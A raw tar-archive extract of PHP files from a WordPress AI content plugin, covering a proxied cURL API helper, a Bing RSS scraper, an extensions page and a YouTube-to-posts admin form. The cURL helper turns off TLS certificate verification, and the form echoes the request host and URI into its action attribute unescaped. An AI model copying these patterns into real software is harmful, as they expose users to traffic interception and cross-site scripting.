$aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("cURL error: " . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP request for messages failed with code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); $decodedResponse = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception('Failed to decode JSON response'); } return $decodedResponse; } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/Bing.php����������������������������������������������������������������������������������������0000644�����������������00000005144�14757771437�0006757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class AiomaticBing { var $query; var $safe = false; var $xml; var $data = array(); var $cache_path; var $cache_file; var $link; function __construct($query, $safe = false) { $this->query = urlencode($query); $this->safe = $safe; $this->cache_path = get_temp_dir() . 'BingCache/'; $this->cache_file = preg_replace("/[^a-z0-9.]+/i", "+", $this->query) . '.json'; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ) { include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->exists($this->cache_path . $this->cache_file)) { $cache = $wp_filesystem->get_contents($this->cache_path . $this->cache_file); $this->data = json_decode($cache, true); } else { $this->Query(); } } function Query() { $agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"; $safeParam = $this->safe == true ? '&adlt=strict' : ''; $host = "https://www.bing.com/search?q=" . $this->query . $safeParam . "&format=rss"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $host); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $this->xml = curl_exec($ch); curl_close($ch); $this->Parse(); } function Parse() { $dom = $this->XML_to_array($this->xml); if(isset($dom['channel']['item'])) { foreach ($dom['channel']['item'] as $item) { $this->data[] = $item; } } $this->link = "https://www.bing.com/search?q=" . $this->query; $this->Cache(); } function Cache() { $json = json_encode($this->data); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ) { include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->is_writable($this->cache_path)) { $wp_filesystem->put_contents($this->cache_path . $this->cache_file, $json); } } function XML_to_array($xml, $main_heading = '') { $deXml = simplexml_load_string($xml); $deJson = json_encode($deXml); $xml_array = json_decode($deJson,TRUE); if (! empty($main_heading)) { $returned = $xml_array[$main_heading]; return $returned; } else { return $xml_array; } } } ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-extensions.php�������������������������������������������������������������������������0000644�����������������00000004544�14757771437�0012066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_extensions() { ?> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Aiomatic Extensions", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="wp-header-end"></div><div class="aiomatic-top-message-new-extension"> <?php echo esc_html_e('Extend your ', 'aiomatic-automatic-ai-content-writer');?> <strong>Aiomatic</strong><?php esc_html_e(' plugin with extra features and functionality. Check additional available ', 'aiomatic-automatic-ai-content-writer');?> <strong>Extensions</strong> <a href="https://coderevolution.ro/product-category/aiomatic/" target="_blank"><?php esc_html_e('here', 'aiomatic-automatic-ai-content-writer');?></a> </div> <div class="gs_popuptype_holder gs_display_table"> <?php $exts = aiomatic_get_extensions(); foreach ($exts as $k => $v):?> <div class="aiomatic-magic-box-wrap<?php echo ($v['enabled']) ? '' : ' aiomatic-disabled-box';?>"> <a href="<?php if($v['enabled']) {echo $v['link'];}else{echo $v['getlink'];}?>" <?php if(!$v['enabled'] || $k == 'new_extension'): echo ' target="_blank" '; endif; ?> > <div class="aiomatic-magic-feature <?php echo $k;?> <?php echo $v['extra_class'];?>"> <?php if (isset($v['pro']) && $v['pro'] === TRUE){ ?> <div class="aiomatic-adm-ribbon aiomatic-adm-ribbon-top-left"><span>PRO</span></div> <?php } ?> <div class="aiomatic-magic-box-icon"><img src="<?php echo $v['icon'];?>"></div> <div class="aiomatic-magic-box-title"><?php echo $v['label'];?></div> <div class="aiomatic-magic-box-desc"><?php echo $v['description'];?></div> <?php if($k != 'new_extension') { if($v['enabled']) { ?> <div class="aiomatic-magic-box-desc">>> <?php echo esc_html_e('SETUP', 'aiomatic-automatic-ai-content-writer');?> <<</div> <?php } else { ?> <div class="aiomatic-magic-box-desc">>> <?php echo esc_html_e('GET IT', 'aiomatic-automatic-ai-content-writer');?> <<</div> <?php } } ?> </div> </a> </div> <?php endforeach;?> </div> <?php } ?>������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-youtube-list.php�����������������������������������������������������������������������0000644�����������������00001376360�14757771437�0012345 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_youtube_panel() { $aiomatic_language_names = array( esc_html__("English", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish", 'aiomatic-automatic-ai-content-writer'), esc_html__("French", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician", 'aiomatic-automatic-ai-content-writer'), esc_html__("German", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur", 'aiomatic-automatic-ai-content-writer') ); $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_rules = get_option('aiomatic_youtube_list', array()); if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap"> <h1><?php echo esc_html__("YouTube Videos To Posts", 'aiomatic-automatic-ai-content-writer');?></h1> </div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <span id="aiomatic_mode_title"><?php echo esc_html__("YouTube Video URLs / Channel Handle URLs", 'aiomatic-automatic-ai-content-writer');?>*</span> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide the URLs to the YouTube videos (one per line). You can also enter a YouTube handle URL (channel or user), example: https://www.youtube.com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the plugin's 'Settings' menu, this will list all recent videos from this specific YouTube channel. Otherwise, it will list videos which appear also on the featured page of the channel. Videos added here must be public and have captions available (uploaded or auto generated). In case auto generated captions are used, the quality of the created article might be lower. Nested Shortcodes also supported! Note: if you add a YouTube API key in the plugin's Settings -> 'API Keys' tab, you can also search for videos using keywords (not just video URLs).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Of Posts", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of posts that this rule can create at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Options", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Shows advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_youtube(); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_youtube_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_youtube_list[url_list][]" placeholder="https://www.youtube.com/watch?v=..." class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_youtube_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_youtube_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr" value="Settings"> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id" name="aiomatic_youtube_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected('');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("YouTube Video Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a comma separated list of video captions prefered languages to use for the %%video_caption%% shortcode. Please use a comma separated list of 2 character language codes. Ex: en,es,hu,br. The plugin will use the fisrt language in the list that matches. If you leave this field blank, the default language caption will be imported for each video.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video Caption Preferred Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[default_lang][]" value="" placeholder="Please insert a language list for video captions" class="cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Video Caption Maximum Character Length In Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="aiomatic_youtube_list[max_caption][]" value="3000" placeholder="Caption maximum length" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI generated titles for the posts created by the plugin. If not, the YouTube video title will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use AI Generated Post Titles:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_titles" name="aiomatic_youtube_list[ai_titles][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_sections_list][]" placeholder="Post sections list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count" name="aiomatic_youtube_list[section_count][]" placeholder="3-4" class="cr_width_full" value="3-4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with sections in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Sections To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_youtube_list[sections_role][]"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count" name="aiomatic_youtube_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API. You can change image source in the 'AI Image Source' settings field from below. The maximum number of images you can add to each article: number of sections + 2", 